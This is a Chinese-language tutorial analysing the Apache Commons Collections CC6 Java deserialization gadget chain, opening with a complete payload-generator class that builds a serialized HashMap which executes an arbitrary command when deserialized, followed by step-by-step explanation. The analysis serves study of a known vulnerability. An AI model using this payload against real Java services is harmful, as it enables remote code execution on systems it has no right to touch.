目录
Transformer[]数组分析
链条代码跟进
ChainedTransformer.transform()
LazyMap.get()
TiedMapEntry.getValue()
TiedMapEntry.hashCode()
HashMap.hash()
HashMap.put()的意外触发
LazyMap.get()中key的包含问题
cc6的payload如下
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;public class CommonsCollections6 {public byte[] getPayload(String command) throws Exception {Transformer[] fakeTransformers = new Transformer[] {new ConstantTransformer(1)};Transformer[] transformers = new Transformer[] {new ConstantTransformer(Runtime.class),new InvokerTransformer("getMethod", new Class[] { String.class,Class[].class }, new Object[] { "getRuntime",new Class[0] }),new InvokerTransformer("invoke", new Class[] { Object.class,Object[].class }, new Object[] { null, new Object[0] }),new InvokerTransformer("exec", new Class[] { String.class },new String[] { command }),new ConstantTransformer(1),};Transformer transformerChain = new ChainedTransformer(fakeTransformers);// 不再使用原CommonsCollections6中的HashSet,直接使用HashMapMap innerMap = new HashMap();Map outerMap = LazyMap.decorate(innerMap, transformerChain);TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");Map expMap = new HashMap();expMap.put(tme, "valuevalue");outerMap.remove("keykey");Field f = ChainedTransformer.class.getDeclaredField("iTransformers");f.setAccessible(true);f.set(transformerChain, transformers);ByteArrayOutputStream barr = new ByteArrayOutputStream();ObjectOutputStream oos = new ObjectOutputStream(barr);oos.writeObject(expMap);oos.close();return barr.toByteArray();}
}
Transformer[]数组分析
首先不看第一行的faketransformer,直接来看第二个数组
数组内new了5个对象,咱们分别来说
1.
new ConstantTransformer(Runtime.class),
咱们跟进这个对象,可以看到就只是将Runtime.class,也就是Runtime这个类的字节码,赋值给到这个对象的iconstant字段
2.
new InvokerTransformer("getMethod", new Class[] { String.class,Class[].class }, new Object[] { "getRuntime",new Class[0] }),
这里就不说了,三个赋值
主要是这里,先不管能不能调用到transform这个方法,我们先来看这个方法到底干了什么,首先getClass()拿到对应的对象字节码,然后通过getMethod()拿到方法,之后通过invoke调用
假如可以调用这个transform方法,把我们的参数传进入会发生什么?
这里的input值不知道那就先不看,这里的意思就是,先拿到这个对象的getMethod方法,然后进行调用,也就是再通过getMethod方法获取到了getRuntime这个方法,这里可能有点混,看不懂的小伙伴仔细想想或者调试
3.
new InvokerTransformer("invoke", new Class[] { Object.class,Object[].class }, new Object[] { null, new Object[0] }),
方法名与第二个一样,所以咱可以大胆的猜测这里的意思是使用invoke方法调用某个方法 xxx.invoke('null'),这里有一点注意,当invoke调用静态方法时,第一个参数永远为空
4.
new InvokerTransformer("exec", new Class[] { String.class },new String[] { command }),
同上,这里的意思是拿到exec方法,并且传参command(main方法里的command参数为calc.exe)
5.
new ConstantTransformer(1),
方法名与第一个相同,这里的意思我猜测应该是回到初始状态,并没有什么实际作用
链条代码跟进
ChainedTransformer.transform()
Transformer transformerChain = new ChainedTransformer(fakeTransformers);
这里我们先不管这个fakeTransformers,跟进ChainedTransformer方法,就只是将参数赋值给到iTransformer数组
我们应该注意的是它下面的代码,transform这个方法,代码具体意思是将iTransformer这个数组遍历,然后递归调用
先不管我们能不能调用这个transform方法,假如我们能调用,那么iTransformer[0]~[4]是否就代表了我们上面提到的那5点
首先来看iTransformer[0].transform(),返回iContant这个字段值,即为Runtime.class
此时object的值为Runtime.class,然后到iTransformer[1].transform(),即InvokerTransformer.transform(),是不是很熟悉?那正是我们之前分析过的,而之前的input值也变成了现在的Runtime.class,所以返回值为Runtime.getRuntime()
此时object的值为Runtime.class.getRuntime()接着iTransformer[2].transform(),返回值为Runtime.class.getRuntime().invoke()
iTransformer[3].transform()的返回值为Runtime.class.getRuntime().invoke().exec(command)
所以咱们的payload能够完美地触发,但问题是要想执行payload,就必须触发ChainedTransformer.transform()方法
整理一下链条
Runtime.getRuntime().exec()----->InvokerTransformer.transform----->ConstantTransformer.transform----->ChainedTransformer.transform()
LazyMap.get()
接下来就需要我们的LazyMap上场了
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
首先new了一个HashMap,然后再调用LazyMap.decorate()方法,那就跟进decorate方法
再跟LazyMap构造方法
可以看到最终是将factory赋值为我们的transformerChain,那就找谁用了factory
终于在LazyMap.get()方法里找到了,并且刚好有我们需要的transform方法,也就是说,这里的factory.transform就等于ChainedTransformer.transform(),那如果谁能调用LazyMap.get()方法,那就能触发我们的payload
TiedMapEntry.getValue()
TiedMapEntry tme = new TiedMapEntry(outerMap, "keykey");
跟进构造函数后发现依然是我们熟悉的赋值,map已经为LazyMap了,那就寻找谁调用了get方法
一番寻找后,发现TiedMapEntry.getValue()可以触发
到这里,我们整理一下链条
Runtime.getRuntime().exec()----->InvokerTransformer.transform----->ConstantTransformer.transform----->ChainedTransformer.transform()----->LazyMap.get()----->TiedMapEntry.getValue()
TiedMapEntry.hashCode()
寻找谁能调用TiedMapEntry.getValue(),TiedMapEntry.hashCode方法就可以
再找谁能调用TiedMapEntry.hashCode()
HashMap.hash()
Map expMap = new HashMap();
expMap.put(tme, "valuevalue");
跟进代码,就是将tme作为键,"valuevalue"作为值
此时key为TiedMapEntry,所以就找谁调用了hashcode方法
刚好HashMap.hash()调用了hashcode方法,更巧的是此时hashmap的readobject方法又调用了hash这个方法,那这样一切都清楚了,当java反序列化我们的构造好的序列化字符串时,调用了hashmap的readobject方法,便直接触发了我们的payload
最后整理一下链条
Runtime.getRuntime().exec()<-----InvokerTransformer.transform<-----ConstantTransformer.transform<-----ChainedTransformer.transform()<-----LazyMap.get()<-----TiedMapEntry.getValue()<-----TiedMapEntry.hashCode()<-----HashMap.hash()<-----HashMap.readObject()
cc链所有的链条都清楚了,但真的完了吗?
HashMap.put()的意外触发
也许还有小伙伴记得前面的fakeTransformers,这里的fakeTransformers到底是干嘛的?
我们不妨去掉它试试,将之前传入的fakeTransformers改为我们的payload数组
Transformer transformerChain = new ChainedTransformer(transformers);
可以看到在改为我们的payload数组运行后,计算器直接弹出了,这是为什么?
按理来说并不应该触发,因为我们还没有进行反序列化,也就是还没有调用HashMap的readObject方法,也就不应该执行我们的payload,这是为什么呢?
这是因为HashMap.put()方法也调用了hash这个方法,导致我们的payload提前执行
而fakeTransformers解决了我们这个问题
Field f = ChainedTransformer.class.getDeclaredField("iTransformers");
f.setAccessible(true);
f.set(transformerChain, transformers);
先传入一个假的数组,让代码不执行任何payload,然后再通过反射修改ChainedTransformer类里面的iTransformers值,改为我们的payload,这样就不会意外触发了
LazyMap.get()中key的包含问题
最后还有一个问题,那就是这里的key为什么必须删掉?
outerMap.remove("keykey");
来到LazyMap.get()方法,这里有一个if条件,如果此时map里面包含了传进来的这个key,那就会直接返回值,不会调用transform方法了,所以我们要避免这样的情况